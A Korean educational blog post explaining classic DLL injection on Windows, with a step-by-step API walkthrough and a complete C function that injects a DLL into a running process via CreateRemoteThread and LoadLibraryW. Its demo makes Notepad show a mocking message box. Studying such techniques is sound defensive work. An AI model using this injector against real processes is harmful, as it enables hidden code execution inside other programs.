CLASSIC DLL INJECTION VIA CREATEREMOTETHREAD AND LOADLIBRARY

izzzzzi0·2021년 9월 21일
0

Process_Injection

목록 보기
1/1

🕐 DLL Injection

👉 실행중인 다른 프로세스의 공간에 강제로 DLL을 Injection하는 방법 을 의미

👏 과정

과정을 5단계로 나누면 아래와 같다.

  1. OpenProcess를 이용하여 대상 프로세스 핸들 구하기
  2. VirtualAllocEx로 대상 프로세스의 메모리 공간 확보하기
  3. WriteProcessMemory로 대상 프로세스이 메모리에 Inejction 할 DLL 경로 입력
  4. LoadLibary API 주소 구하기(GetModuleHandle, GetProcAddress)
  5. CreateRemoteThread로 대상 프로세스의 Injection 된 데이터 실행

API 설명

  • OpenProcess : 실행중인 프로세스의 프로세스 핸들을 얻는다
    프로세스 핸들을 이용하여 해당 프로세스를 제어할 수 있다.
  • VirtualAllocEx : 호출한 프로세스의 가상 주소의 페이지 공간을 할당
    로딩할 DLL 파일의 경로을 적기 위한 메모리를 할당 받는다
  • WriteProcessMemory : 특정 프로세스의 메모리 공간에 데이터를 적음
    VirtualAlloc를 이용하여 할당받은 메모리 공간에 로딩할 DLL 파일의 경로를 적는다.
  • LoadLibary : 호출한 프로세스의 주소 공간에 특정 모듈을 로드한다.
    LoadLibary API를 이용하여 DLL 로딩
  • CreateRemoteThread : 다른 프로세스의 가상 주소 공간에 실행되는 스레드를 생성 및 실행
    LoadLibary API를 호출하는 역할

👏 제작하기

메모장을 실행하면 "You are stupid"라는 메세지 창이 나오도록 할것이다.
코드는 아래와 같다.

BOOL DLLInjection(DWORD dwPID, LPCTSTR dllPath) {
	HANDLE hProcess=NULL, hThread=NULL;
	HMODULE hModule = NULL;
	LPVOID lpParameter = NULL;
	LPTHREAD_START_ROUTINE lpStartAddress = NULL;

	//get process Handle
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
	if(!hProcess) {
		printError(TEXT("OpenProcess"));
		return FALSE;
	}
	//allocate buffer 
	DWORD dwSize = (_tcsclen(dllPath) + 1) * sizeof(TCHAR);
	lpParameter = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

	//write DLL Path in Process
	if (!lpParameter) {
		printError(TEXT("allocate Buffer"));
		return FALSE;
	}

	WriteProcessMemory(hProcess, lpParameter, dllPath, dwSize, NULL);

	//get Libarary address
	hModule = GetModuleHandle(L"kernel32.dll");


	if (!hModule) {
		printError(TEXT("Get hModule"));
		return FALSE;
	}
	lpStartAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(hModule, "LoadLibraryW");

	//run Thread
	hThread = CreateRemoteThread(hProcess,NULL,0,lpStartAddress,lpParameter,0,NULL);
	if (!hThread) {
		printError(TEXT("Run Thread"));
		return FALSE;
	}

	WaitForSingleObject(hThread, INFINITE);

	CloseHandle(hProcess);
	CloseHandle(hThread);
	return TRUE;
}

👏 실행결과

위의 코드를 실행하면 다음과 같은 실행결과를 얻을 수 있다.

실행결과Process Exploer 결과

메모장에 "You are stupid"라고 메세지 창이 나오는 것을 확인 할 수 있다.
확실히 내가 만든 DLL이 정확히 Injection 되었는지 확인하기 위해서 Process Exploer를 확인할 결과, "myhack.dll"이 표함된것을 확인 할 수 있다.

Github

참고

profile
정리하는 곳

0개의 댓글